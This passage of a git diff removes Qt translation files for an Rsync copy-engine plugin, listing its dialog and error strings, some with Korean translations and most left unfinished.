- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="61"/>
- <location filename="../../RmPath.cpp" line="75"/>
- <source>Unable to remove the folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RmPath.cpp" line="85"/>
- <source>Unable to remove the file</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="312"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="322"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="627"/>
- <source>The checksums not match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="260"/>
- <location filename="../../copyEngine.cpp" line="278"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="289"/>
- <location filename="../../copyEngine.cpp" line="307"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="521"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="255"/>
- <source>Rsync (only in copy mode)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="219"/>
- <location filename="../../scanFileOrFolder.cpp" line="283"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="229"/>
- <location filename="../../scanFileOrFolder.cpp" line="293"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="327"/>
- <source>The folder not exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="329"/>
- <source>The folder is not readable</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-</TS>
diff --git a/plugins-alternative/CopyEngine/Rsync/Languages/ko/translation.ts b/plugins-alternative/CopyEngine/Rsync/Languages/ko/translation.ts
deleted file mode 100644
index 4cbf604..0000000
--- a/plugins-alternative/CopyEngine/Rsync/Languages/ko/translation.ts
+++ /dev/null
@@ -1,806 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0" language="ko_KR">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation>이 플랫폼에서 지원되지 않습니다</translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation>마지막 수정 날짜가 잘못되었습니다</translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation>마지막 엑세스 날짜가 잘못되었습니다</translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1199"/>
- <source>Unable to save the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1215"/>
- <source>Problem at the reading, or file size is null</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1222"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1231"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1240"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1246"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1293"/>
- <source>Some error have been found during the line parsing</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1299"/>
- <source>Unable to open the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation>폴더를 생성할 수 없습니다</translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation>원본 파일 읽기 불가:</translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="61"/>
- <location filename="../../RmPath.cpp" line="75"/>
- <source>Unable to remove the folder</source>
- <translation>폴더를 제거할 수 없습니다</translation>
- </message>
- <message>
- <location filename="../../RmPath.cpp" line="85"/>
- <source>Unable to remove the file</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="312"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="322"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="627"/>
- <source>The checksums not match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished">원본 파일 읽기 불가:</translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="260"/>
- <location filename="../../copyEngine.cpp" line="278"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="289"/>
- <location filename="../../copyEngine.cpp" line="307"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="521"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation>파일 오류가 발생했습니다</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation>오류</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation>크기</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation>수정 날짜</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation>파일 이름</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation>&amp;항상 이 작동 실행</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation>아래에 놓기</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation>재시도</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation>&amp;건너뛰기</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation>&amp;취소</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation type="unfinished">폴더 이름</translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation>파일이 존재합니다</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation>원본</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation>대상</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation>크기</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation>수정 날짜</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation>파일 이름</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation>새 &amp;이름 제안</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation>&amp;항상 이 작동 실행</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation>&amp;이름 바꾸기</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation>&amp;덮어씌우기</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
